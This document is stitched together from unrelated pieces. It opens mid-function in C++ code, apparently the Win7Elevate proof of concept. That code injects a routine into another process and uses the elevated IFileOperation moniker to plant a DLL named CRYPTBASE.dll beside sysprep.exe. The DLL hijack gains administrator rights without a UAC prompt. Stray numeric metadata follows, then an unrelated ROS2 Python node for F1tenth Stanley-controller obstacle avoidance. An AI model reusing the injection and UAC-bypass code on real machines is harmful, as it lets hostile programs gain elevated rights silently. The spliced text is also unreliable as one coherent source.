*)(LPVOID pvReserved) > tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize ); W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) > tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize ); W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) > tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject ); W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) > tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance ); W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) > tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN ); W7EUtils::GetProcAddr< BOOL (STDAPICALLTYPE *)(LPSHELLEXECUTEINFOW lpExecInfo) > tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW ); if (0 != tfpCoInitialize.f && 0 != tfpCoUninitialize.f && 0 != tfpCoGetObject.f && 0 != tfpCoCreateInstance.f && 0 != tfpSHCreateItemFromParsingName.f && 0 != tfpShellExecuteEx.f) { if (S_OK == tfpCoInitialize.f(NULL)) { BIND_OPTS3 bo; for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs. bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER; // For testing other COM objects/methods, start here. { IFileOperation *pFileOp = 0; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection. if ( (pArgs->szEIFOMoniker && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp))) || (pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp))) ) if (0 != pFileOp) if (S_OK == pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION)) if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource))) if (0 != pSHISource) if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination))) if (0 != pSHIDestination) if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL)) if (S_OK == pFileOp->PerformOperations()) { // Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call. // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.) SHELLEXECUTEINFO shinfo; for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs. shinfo.cbSize = sizeof(shinfo); shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; shinfo.lpFile = pArgs->szElevExeFull; shinfo.lpParameters = pArgs->szElevArgs; shinfo.lpDirectory = pArgs->szElevDir; shinfo.nShow = SW_SHOW; if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL) { // Wait for the "part 2" target process to finish. pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE); pArgs->fpCloseHandle(shinfo.hProcess); } // Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess. if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete))) if (0 != pSHIDelete) if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) { pFileOp->PerformOperations(); } } if (pSHIDelete) { pSHIDelete->Release(); } if (pSHIDestination) { pSHIDestination->Release(); } if (pSHISource) { pSHISource->Release(); } if (pFileOp) { pFileOp->Release(); } } tfpCoUninitialize.f(); } } } if (hModuleShell32) { pArgs->fpFreeLibrary(hModuleShell32); } if (hModuleOle32) { pArgs->fpFreeLibrary(hModuleOle32); } return 0; } // Marks the end of the function so we know how much data to copy. volatile static void DummyRemoteCodeFuncEnd() { } void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName, const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir, const wchar_t *szPathToOurDll, DWORD (__stdcall *Redirector)(void)) { bool bThreadWaitSuccess = false; bool bThreadWaitFailure = false; HANDLE hTargetProc = NULL; const BYTE * codeStartAdr = reinterpret_cast< const BYTE * >( &RemoteCodeFunc ); const BYTE * codeEndAdr = reinterpret_cast< const BYTE * >( &DummyRemoteCodeFuncEnd ); if (codeStartAdr >= codeEndAdr) { //MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING); return; } wchar_t szPathToSelf[MAX_PATH]; DWORD dwGMFNRes = GetModuleFileName(NULL, szPathToSelf, _countof(szPathToSelf)); if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf)) { //MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING); return; } wchar_t szProgramFiles[MAX_PATH]; HRESULT hr = SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, szProgramFiles); if (S_OK != hr) { //MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); return; } HMODULE hModKernel32 = LoadLibrary(L"kernel32.dll"); if (hModKernel32 == 0) { //MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING); return; } W7EUtils::GetProcAddr< BOOL (WINAPI *)(HMODULE) > tfpFreeLibrary( &GetProcAddress, hModKernel32, "FreeLibrary"); W7EUtils::GetProcAddr< HMODULE (WINAPI *)(LPCWSTR) > tfpLoadLibrary( &GetProcAddress, hModKernel32, "LoadLibraryW"); W7EUtils::GetProcAddr< FARPROC (WINAPI *)(HMODULE, LPCSTR) > tfpGetProcAddress( &GetProcAddress, hModKernel32, "GetProcAddress"); W7EUtils::GetProcAddr< BOOL (WINAPI *)(HANDLE) > tfpCloseHandle( &GetProcAddress, hModKernel32, "CloseHandle"); W7EUtils::GetProcAddr< DWORD (WINAPI *)(HANDLE,DWORD) > tfpWaitForSingleObject( &GetProcAddress, hModKernel32, "WaitForSingleObject"); if (0 == tfpFreeLibrary.f || 0 == tfpLoadLibrary.f || 0 == tfpGetProcAddress.f || 0 == tfpCloseHandle.f || 0 == tfpWaitForSingleObject.f) { //MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING); } else { // Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't // directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list. // If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one. const wchar_t *szElevDir = L"C:\\Windows\\System32\\sysprep"; const wchar_t *szElevDll = L"CRYPTBASE.dll"; const wchar_t *szElevDllFull = L"C:\\Windows\\System32\\sysprep\\CRYPTBASE.dll"; const wchar_t *szElevExeFull = L"C:\\Windows\\System32\\sysprep\\sysprep.exe"; std::wstring strElevArgs = L"\""; // strElevArgs += szElevExeFull; // strElevArgs += L"\" \""; strElevArgs += szCmd; strElevArgs += L"\" \""; strElevArgs += szDir; strElevArgs += L"\" \""; for (const wchar_t *pCmdArgChar = szArgs; *szArgs; ++szArgs) { if (*szArgs != L'\"') { strElevArgs += *szArgs; } else { strElevArgs += L"\"\"\""; // Turn each quote into three to preserve them in the arguments. } } strElevArgs += L"\""; if (!bInject) { // Test code without remoting. // This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin. // Satisfy CreateProcess's non-const args requirement wchar_t *szElevArgsNonConst = new wchar_t[strElevArgs.length() + 1]; wcscpy_s(szElevArgsNonConst, strElevArgs.length() + 1, strElevArgs.c_str()); InjectArgs ia; ia.fpFreeLibrary = tfpFreeLibrary.f; ia.fpLoadLibrary = tfpLoadLibrary.f; ia.fpGetProcAddress = tfpGetProcAddress.f; ia.fpCloseHandle = tfpCloseHandle.f; ia.fpWaitForSingleObject = tfpWaitForSingleObject.f; ia.szSourceDll = szPathToOurDll; ia.szElevDir = szElevDir; ia.szElevDll = szElevDll; ia.szElevDllFull = szElevDllFull; ia.szElevExeFull = szElevExeFull; ia.szElevArgs = szElevArgsNonConst; ia.szShell32 = L"shell32.dll"; ia.szOle32 = L"ole32.dll"; ia.szCoInitialize = "CoInitialize"; ia.szCoUninitialize = "CoUninitialize"; ia.szCoGetObject = "CoGetObject"; ia.szCoCreateInstance = "CoCreateInstance"; ia.szSHCreateItemFPN = "SHCreateItemFromParsingName"; ia.szShellExecuteExW = "ShellExecuteExW"; ia.szEIFOMoniker = bElevate ? L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" : NULL; ia.pIID_EIFOClass = bElevate ? NULL : &__uuidof(FileOperation); ia.pIID_EIFO = &__uuidof(IFileOperation); ia.pIID_ShellItem2 = &__uuidof(IShellItem2); ia.pIID_Unknown = &__uuidof(IUnknown); RemoteCodeFunc(&ia); delete[] szElevArgsNonConst; } else if (W7EUtils::OpenProcessToInject(hWnd, &hTargetProc, dwPid, szProcName)) { // Test code with remoting. // At least as of RC1 build 7100, with the default OS settings, this will run the specified command // with elevation but without triggering a UAC prompt. // Scope CRemoteMemory so it's destroyed before the process handle is closed. { W7EUtils::CRemoteMemory reme(hTargetProc); InjectArgs ia; // ASSUMPTION: Remote process has same ASLR setting as us (i.e. ASLR = on) // kernel32.dll is mapped to the same address range in both processes. ia.fpFreeLibrary = tfpFreeLibrary.f; ia.fpLoadLibrary = tfpLoadLibrary.f; ia.fpGetProcAddress = tfpGetProcAddress.f; ia.fpCloseHandle = tfpCloseHandle.f; ia.fpWaitForSingleObject = tfpWaitForSingleObject.f; // It would be more efficient to allocate and copy the data in one // block but since this is just a proof-of-concept I don't bother. ia.szSourceDll = reme.AllocAndCopyMemory(szPathToOurDll); ia.szElevDir = reme.AllocAndCopyMemory(szElevDir); ia.szElevDll = reme.AllocAndCopyMemory(szElevDll); ia.szElevDllFull = reme.AllocAndCopyMemory(szElevDllFull); ia.szElevExeFull = reme.AllocAndCopyMemory(szElevExeFull); ia.szElevArgs = reme.AllocAndCopyMemory(strElevArgs.c_str(), false); // Leave this page writeable for CreateProcess. ia.szShell32 = reme.AllocAndCopyMemory(L"shell32.dll"); ia.szOle32 = reme.AllocAndCopyMemory(L"ole32.dll"); ia.szCoInitialize = reme.AllocAndCopyMemory("CoInitialize"); ia.szCoUninitialize = reme.AllocAndCopyMemory("CoUninitialize"); ia.szCoGetObject = reme.AllocAndCopyMemory("CoGetObject"); ia.szCoCreateInstance = reme.AllocAndCopyMemory("CoCreateInstance"); ia.szSHCreateItemFPN = reme.AllocAndCopyMemory("SHCreateItemFromParsingName"); ia.szShellExecuteExW = reme.AllocAndCopyMemory("ShellExecuteExW"); ia.szEIFOMoniker = bElevate ? reme.AllocAndCopyMemory(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}") : NULL; ia.pIID_EIFOClass = bElevate ? NULL : reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(FileOperation), sizeof(__uuidof(FileOperation)), false) ); ia.pIID_EIFO = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IFileOperation), sizeof(__uuidof(IFileOperation)), false) ); ia.pIID_ShellItem2 = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IShellItem2), sizeof(__uuidof(IShellItem2)), false) ); ia.pIID_Unknown = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IUnknown), sizeof(__uuidof(IUnknown)), false) ); void *pRemoteArgs = reme.AllocAndCopyMemory(&ia, sizeof(ia), false); void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true); if (!(reme.AnyFailures())) { HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL); if (hRemoteThread != 0) { if ( Redirector ) Redirector(); while(true) { DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 10000); if (dwWaitRes == WAIT_OBJECT_0) { bThreadWaitSuccess = true; break; } else if (dwWaitRes != WAIT_TIMEOUT) { bThreadWaitFailure = true; break; } //else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION)) else { // See if it completed before the user asked to stop waiting. // Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI. if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0)) { bThreadWaitSuccess = true; } break; } } if (!bThreadWaitSuccess) { // The memory in the other process could still be in use. // Freeing it now will almost certainly crash the other process. // Letting it leak is the lesser of two evils... reme.LeakMemory(); } } } } CloseHandle(hTargetProc); } } FreeLibrary(hModKernel32); }
0
0.961378
1
0.961378
game-dev
MEDIA
0.280555
game-dev
0.875348
1
0.875348
CL2-UWaterloo/f1tenth_ws
38,095
src/stanley_avoidance/stanley_avoidance/stanley_avoidance.py
#!/usr/bin/env python3 import math import copy import numpy as np from scipy import signal from scipy.interpolate import interp1d from scipy.spatial.transform import Rotation as R from collections import deque import rclpy from tf2_ros import TransformException from tf2_ros.buffer import Buffer from tf2_ros.transform_listener import TransformListener from geometry_msgs.msg import TransformStamped, Pose from tf2_ros.static_transform_broadcaster import StaticTransformBroadcaster from rclpy.duration import Duration from rclpy.node import Node from sensor_msgs.msg import LaserScan from geometry_msgs.msg import Point from nav_msgs.msg import Odometry from nav_msgs.msg import OccupancyGrid from visualization_msgs.msg import Marker, MarkerArray from ackermann_msgs.msg import AckermannDriveStamped class Vertex(object): def __init__(self, pos=None, parent=None): self.pos = pos self.parent = parent class StanleyAvoidance(Node): def __init__(self): super().__init__("stanley_avoidance_node") self.declare_parameter("waypoints_path", "/sim_ws/racelines/e7_floor5.csv") self.declare_parameter("waypoints_path_2nd", "/sim_ws/racelines/e7_floor5.csv") self.declare_parameter("scan_topic", "/scan") self.declare_parameter("odom_topic", "/ego_racecar/odom") self.declare_parameter("drive_topic", "/drive") self.declare_parameter("rviz_current_waypoint_topic", "/current_waypoint") self.declare_parameter("rviz_lookahead_waypoint_topic", "/lookahead_waypoint") self.declare_parameter("stanley_avoidance_path_topic", "/stanley_avoidance_path") self.declare_parameter("stanley_avoidance_path_array_topic", "/stanley_avoidance_path_array") self.declare_parameter("occupancy_grid_topic", "/occupancy_grid") self.declare_parameter("grid_width_meters", 6.0) self.declare_parameter("K_p", 0.5) self.declare_parameter("K_p_obstacle", 0.8) self.declare_parameter("K_E", 2.0) self.declare_parameter("K_H", 1.5) self.declare_parameter("min_lookahead", 1.0) self.declare_parameter("max_lookahead", 3.0) self.declare_parameter("min_lookahead_speed", 3.0) self.declare_parameter("max_lookahead_speed", 6.0) self.declare_parameter("interpolation_distance", 0.05) self.declare_parameter("velocity_min", 0.5) self.declare_parameter("velocity_max", 2.0) self.declare_parameter("velocity_percentage", 1.0) self.declare_parameter("steering_limit", 25.0) self.declare_parameter("cells_per_meter", 10) self.declare_parameter("lane_number", 0) self.waypoints_world_path = str(self.get_parameter("waypoints_path").value) self.waypoints_world_path_2nd = str(self.get_parameter("waypoints_path_2nd").value) self.scan_topic = str(self.get_parameter("scan_topic").value) self.odom_topic = str(self.get_parameter("odom_topic").value) self.drive_topic = str(self.get_parameter("drive_topic").value) self.rviz_current_waypoint_topic = str(self.get_parameter("rviz_current_waypoint_topic").value) self.rviz_lookahead_waypoint_topic = str(self.get_parameter("rviz_lookahead_waypoint_topic").value) self.stanley_avoidance_path_topic = str(self.get_parameter("stanley_avoidance_path_topic").value) self.stanley_avoidance_path_array_topic = str(self.get_parameter("stanley_avoidance_path_array_topic").value) self.occupancy_grid_topic = str(self.get_parameter("occupancy_grid_topic").value) self.L = float(self.get_parameter("max_lookahead").value) self.grid_width_meters = float(self.get_parameter("grid_width_meters").value) self.K_E = float(self.get_parameter("K_E").value) self.K_H = float(self.get_parameter("K_H").value) self.K_p = float(self.get_parameter("K_p").value) self.K_p_obstacle = float(self.get_parameter("K_p_obstacle").value) self.interpolation_distance = float(self.get_parameter("interpolation_distance").value) self.velocity_min = float(self.get_parameter("velocity_min").value) self.velocity_max = float(self.get_parameter("velocity_max").value) self.velocity_percentage = float(self.get_parameter("velocity_percentage").value) self.steering_limit = float(self.get_parameter("steering_limit").value) self.CELLS_PER_METER = int(self.get_parameter("cells_per_meter").value) self.lane_number = int(self.get_parameter("lane_number").value) # Dynamically change lanes min_lookahead = float(self.get_parameter("min_lookahead").value) max_lookahead = float(self.get_parameter("max_lookahead").value) min_lookahead_speed = float(self.get_parameter("min_lookahead_speed").value) max_lookahead_speed = float(self.get_parameter("max_lookahead_speed").value) # hyper-parameters self.waypoint_utils = WaypointUtils( node=self, L=self.L, interpolation_distance=self.interpolation_distance, filepath=self.waypoints_world_path, min_lookahead=min_lookahead, max_lookahead=max_lookahead, min_lookahead_speed=min_lookahead_speed, max_lookahead_speed=max_lookahead_speed, filepath_2nd=self.waypoints_world_path_2nd, ) self.get_logger().info(f"Loaded {len(self.waypoint_utils.waypoints_world)} waypoints") self.utils = Utils() self.odom_sub = self.create_subscription(Odometry, self.odom_topic, self.odom_callback, 1) self.scan_sub = self.create_subscription(LaserScan, self.scan_topic, self.scan_callback, 1) # publishers self.create_timer(1.0, self.timer_callback) self.drive_pub = self.create_publisher(AckermannDriveStamped, self.drive_topic, 10) self.current_waypoint_pub = self.create_publisher(Marker, self.rviz_current_waypoint_topic, 10) self.waypoint_pub = self.create_publisher(Marker, self.rviz_lookahead_waypoint_topic, 10) self.stanley_avoidance_path_pub = self.create_publisher(Marker, self.stanley_avoidance_path_topic, 10) self.stanley_avoidance_path_array_pub = self.create_publisher(MarkerArray, self.stanley_avoidance_path_array_topic, 10) self.occupancy_grid_pub = self.create_publisher(OccupancyGrid, self.occupancy_grid_topic, 10) # constants self.MAX_RANGE = self.L - 0.1 self.MIN_ANGLE = np.radians(0) self.MAX_ANGLE = np.radians(180) # fov = 270. One side = fov/2 = 135. 135-45 = 90 (for occupancy grid) self.ANGLE_OFFSET = np.radians(45) self.IS_OCCUPIED = 100 self.IS_FREE = 0 # class variables self.grid_height = int(self.L * self.CELLS_PER_METER) self.grid_width = int(self.grid_width_meters * self.CELLS_PER_METER) self.CELL_Y_OFFSET = (self.grid_width // 2) - 1 self.occupancy_grid = np.full(shape=(self.grid_height, self.grid_width), fill_value=-1, dtype=int) self.current_pose = None # from the laser frame, approx front wheelbase. Needed for stanley controller self.current_pose_wheelbase_front = None self.goal_pos = None self.closest_wheelbase_rear_point = None self.obstacle_detected = False self.target_velocity = 0.0 def timer_callback(self): self.waypoints_world_path = str(self.get_parameter("waypoints_path").value) self.K_E = float(self.get_parameter("K_E").value) self.K_H = float(self.get_parameter("K_H").value) self.K_p = float(self.get_parameter("K_p").value) self.K_p_obstacle = float(self.get_parameter("K_p_obstacle").value) self.interpolation_distance = int(self.get_parameter("interpolation_distance").value) self.velocity_min = float(self.get_parameter("velocity_min").value) self.velocity_max = float(self.get_parameter("velocity_max").value) self.velocity_percentage = float(self.get_parameter("velocity_percentage").value) self.steering_limit = float(self.get_parameter("steering_limit").value) self.CELLS_PER_METER = int(self.get_parameter("cells_per_meter").value) self.waypoint_utils.min_lookahead = float(self.get_parameter("min_lookahead").value) self.waypoint_utils.max_lookahead = float(self.get_parameter("max_lookahead").value) self.waypoint_utils.min_lookahead_speed = float(self.get_parameter("min_lookahead_speed").value) self.waypoint_utils.max_lookahead_speed = float(self.get_parameter("max_lookahead_speed").value) self.waypoint_utils.lane_number = int(self.get_parameter("lane_number").value) # Dynamically change lanes def local_to_grid(self, x, y): i = int(x * -self.CELLS_PER_METER + (self.grid_height - 1)) j = int(y * -self.CELLS_PER_METER + self.CELL_Y_OFFSET) return (i, j) def local_to_grid_parallel(self, x, y): i = np.round(x * -self.CELLS_PER_METER + (self.grid_height - 1)).astype(int) j = np.round(y * -self.CELLS_PER_METER + self.CELL_Y_OFFSET).astype(int) return i, j def grid_to_local(self, point): i, j = point[0], point[1] x = (i - (self.grid_height - 1)) / -self.CELLS_PER_METER y = (j - self.CELL_Y_OFFSET) / -self.CELLS_PER_METER return (x, y) def odom_callback(self, pose_msg: Odometry): """ The pose callback when subscribed to particle filter's inferred pose """ # determine pose data type (sim vs. car) self.current_pose = pose_msg.pose.pose # TOO SLOW # to_frame_rel = "ego_racecar/base_link" # from_frame_rel = "ego_racecar/laser_model" # if self.base_link_to_laser_tf is None: # static tf, so only need to lookup once # try: # self.base_link_to_laser_tf = self.tf_buffer.lookup_transform( # to_frame_rel, # from_frame_rel, # rclpy.time.Time()) # except TransformException as ex: # self.get_logger().info( # f'Could not transform {to_frame_rel} to {from_frame_rel}: {ex}') # return # self.get_logger().info(str(self.base_link_to_laser_tf)) current_pose_quaternion = np.array( [ self.current_pose.orientation.x, self.current_pose.orientation.y, self.current_pose.orientation.z, self.current_pose.orientation.w, ] ) # 33cm in front of base_link self.current_pose_wheelbase_front = Pose() current_pose_xyz = R.from_quat(current_pose_quaternion).apply((0.33, 0, 0)) + ( self.current_pose.position.x, self.current_pose.position.y, 0, ) self.current_pose_wheelbase_front.position.x = current_pose_xyz[0] self.current_pose_wheelbase_front.position.y = current_pose_xyz[1] self.current_pose_wheelbase_front.position.z = current_pose_xyz[2] self.current_pose_wheelbase_front.orientation = self.current_pose.orientation # obtain pure pursuit waypoint (base_link frame) self.closest_wheelbase_rear_point, self.target_velocity = self.waypoint_utils.get_closest_waypoint_with_velocity( self.current_pose ) self.utils.draw_marker( pose_msg.header.frame_id, pose_msg.header.stamp, self.closest_wheelbase_rear_point, self.current_waypoint_pub, color="blue", ) # self.current_velocity = np.sqrt(pose_msg.twist.twist.linear.x**2 + pose_msg.twist.twist.linear.y**2) self.goal_pos, goal_pos_world = self.waypoint_utils.get_waypoint(self.current_pose, self.target_velocity) self.utils.draw_marker(pose_msg.header.frame_id, pose_msg.header.stamp, goal_pos_world, self.waypoint_pub, color="red") def populate_occupancy_grid(self, ranges, angle_increment): """ Populate occupancy grid using lidar scans and save the data in class member variable self.occupancy_grid. Optimization performed to improve the speed at which we generate the occupancy grid. Args: scan_msg (LaserScan): message from lidar scan topic """ # reset empty occupacny grid (-1 = unknown) self.occupancy_grid = np.full(shape=(self.grid_height, self.grid_width), fill_value=self.IS_FREE, dtype=int) ranges = np.array(ranges) indices = np.arange(len(ranges)) thetas = (indices * angle_increment) - self.ANGLE_OFFSET xs = ranges * np.sin(thetas) ys = ranges * np.cos(thetas) * -1 i, j = self.local_to_grid_parallel(xs, ys) occupied_indices = np.where((i >= 0) & (i < self.grid_height) & (j >= 0) & (j < self.grid_width)) self.occupancy_grid[i[occupied_indices], j[occupied_indices]] = self.IS_OCCUPIED # NYI def publish_occupancy_grid(self, frame_id, stamp): """ Publish populated occupancy grid to ros2 topic Args: scan_msg (LaserScan): message from lidar scan topic """ oc = OccupancyGrid() oc.header.frame_id = frame_id oc.header.stamp = stamp oc.info.origin.position.y -= ((self.grid_width / 2) + 1) / self.CELLS_PER_METER oc.info.width = self.grid_height oc.info.height = self.grid_width oc.info.resolution = 1 / self.CELLS_PER_METER oc.data = np.fliplr(np.rot90(self.occupancy_grid, k=1)).flatten().tolist() self.occupancy_grid_pub.publish(oc) def convolve_occupancy_grid(self): kernel = np.ones(shape=[2, 2]) self.occupancy_grid = signal.convolve2d( self.occupancy_grid.astype("int"), kernel.astype("int"), boundary="symm", mode="same" ) self.occupancy_grid = np.clip(self.occupancy_grid, -1, 100) def drive_to_target(self, point, K_p): """ Using the pure pursuit derivation Improvement is that we make the point closer when the car is going at higher speeds """ # calculate curvature/steering angle L = np.linalg.norm(point) y = point[1] angle = K_p * (2 * y) / (L**2) angle = np.clip(angle, -np.radians(self.steering_limit), np.radians(self.steering_limit)) # determine velocity if self.obstacle_detected and self.velocity_percentage > 0.0: if np.degrees(angle) < 10.0: velocity = self.velocity_max elif np.degrees(angle) < 20.0: velocity = (self.velocity_max + self.velocity_min) / 2 else: velocity = self.velocity_min else: # Set velocity to velocity of racing line velocity = self.target_velocity * self.velocity_percentage # publish drive message drive_msg = AckermannDriveStamped() drive_msg.drive.speed = velocity drive_msg.drive.steering_angle = angle self.get_logger().info( f"Obstacle: {self.obstacle_detected} ... lookahead: {self.waypoint_utils.L:.2f} ... index: {self.waypoint_utils.index} ... Speed: {velocity:.2f}m/s ... Steering Angle: {np.degrees(angle):.2f} ... K_p: {self.K_p} ... K_p_obstacle: {self.K_p_obstacle} ... velocity_percentage: {self.velocity_percentage:.2f}" ) self.drive_pub.publish(drive_msg) def drive_to_target_stanley(self): """ Using the stanley method derivation: https://stevengong.co/notes/Stanley-Method Might get the best out of both worlds for responsiveness, and less oscillations compared to pure pursuit. """ K_V = 0 # calculate curvature/steering angle closest_wheelbase_front_point_car, closest_wheelbase_front_point_world = self.waypoint_utils.get_waypoint_stanley( self.current_pose_wheelbase_front ) path_heading = math.atan2( closest_wheelbase_front_point_world[1] - self.closest_wheelbase_rear_point[1], closest_wheelbase_front_point_world[0] - self.closest_wheelbase_rear_point[0], ) current_heading = math.atan2( self.current_pose_wheelbase_front.position.y - self.current_pose.position.y, self.current_pose_wheelbase_front.position.x - self.current_pose.position.x, ) if current_heading < 0: current_heading += 2 * math.pi if path_heading < 0: path_heading += 2 * math.pi # calculate the errors crosstrack_error = math.atan2( self.K_E * closest_wheelbase_front_point_car[1], K_V + self.target_velocity ) # y value in car frame heading_error = path_heading - current_heading if heading_error > math.pi: heading_error -= 2 * math.pi elif heading_error < -math.pi: heading_error += 2 * math.pi heading_error *= self.K_H # Calculate the steering angle using the Stanley controller formula angle = heading_error + crosstrack_error self.get_logger().info( f"heading_error: {heading_error:.2f} ... crosstrack_error: {crosstrack_error:.2f} angle: {np.degrees(angle):.2f}" ) self.get_logger().info(f"current_heading: {current_heading:.2f} ... path_heading: {path_heading:.2f}") angle = np.clip(angle, -np.radians(self.steering_limit), np.radians(self.steering_limit)) velocity = self.target_velocity * self.velocity_percentage drive_msg = AckermannDriveStamped() drive_msg.drive.speed = velocity drive_msg.drive.steering_angle = angle self.drive_pub.publish(drive_msg) def scan_callback(self, scan_msg): """ LaserScan callback, update occupancy grid and perform local planning Args: scan_msg (LaserScan): incoming message from subscribed topic """ # make sure we obtain initial pose and goal point if (self.current_pose is None) or (self.goal_pos is None): return # populate occupancy grid self.populate_occupancy_grid(scan_msg.ranges, scan_msg.angle_increment) self.convolve_occupancy_grid() self.publish_occupancy_grid(scan_msg.header.frame_id, scan_msg.header.stamp) # get path planed in occupancy grid space path_local = [] current_pos = np.array(self.local_to_grid(0, 0)) goal_pos = np.array(self.local_to_grid(self.goal_pos[0], self.goal_pos[1])) target = None path_local = [self.grid_to_local(current_pos)] MARGIN = int(self.CELLS_PER_METER * 0.15) # 0.15m margin on each side, since the car is ~0.3m wide if self.check_collision(current_pos, goal_pos, margin=MARGIN): self.obstacle_detected = True shifts = [i * (-1 if i % 2 else 1) for i in range(1, 21)] found = False for shift in shifts: # We consider various points to the left and right of the goal position new_goal = goal_pos + np.array([0, shift]) # If we are currently super close to the wall, this logic doesn't work if not self.check_collision(current_pos, new_goal, margin=int(1.5 * MARGIN)): target = self.grid_to_local(new_goal) found = True path_local.append(target) self.get_logger().info("Found condition 1") break if not found: # This means that the obstacle is very close to us, we need even steeper turns middle_grid_point = np.array(current_pos + (goal_pos - current_pos) / 2).astype(int) for shift in shifts: new_goal = middle_grid_point + np.array([0, shift]) if not self.check_collision(current_pos, new_goal, margin=int(1.5 * MARGIN)): target = self.grid_to_local(new_goal) found = True path_local.append(target) self.get_logger().info("Found condition 2") break if not found: # Try again with a looser collision checker, we are probably very close to the obstacle, so check only collision free in the second half middle_grid_point = np.array(current_pos + (goal_pos - current_pos) / 2).astype(int) for shift in shifts: new_goal = middle_grid_point + np.array([0, shift]) if not self.check_collision_loose(current_pos, new_goal, margin=MARGIN): target = self.grid_to_local(new_goal) found = True path_local.append(target) self.get_logger().info("Found condition 3") break else: self.obstacle_detected = False target = self.grid_to_local(goal_pos) path_local.append(target) if target: if self.obstacle_detected: self.drive_to_target(target, self.K_p_obstacle) else: self.drive_to_target_stanley() else: self.get_logger().info("Could not find a target path, halting vehicle") # publish drive message drive_msg = AckermannDriveStamped() drive_msg.drive.speed = 0.0 drive_msg.drive.steering_angle = 0.0 self.drive_pub.publish(drive_msg) # Visualization self.utils.draw_marker_array(scan_msg.header.frame_id, scan_msg.header.stamp, path_local, self.stanley_avoidance_path_array_pub) self.utils.draw_lines(scan_msg.header.frame_id, scan_msg.header.stamp, path_local, self.stanley_avoidance_path_pub) 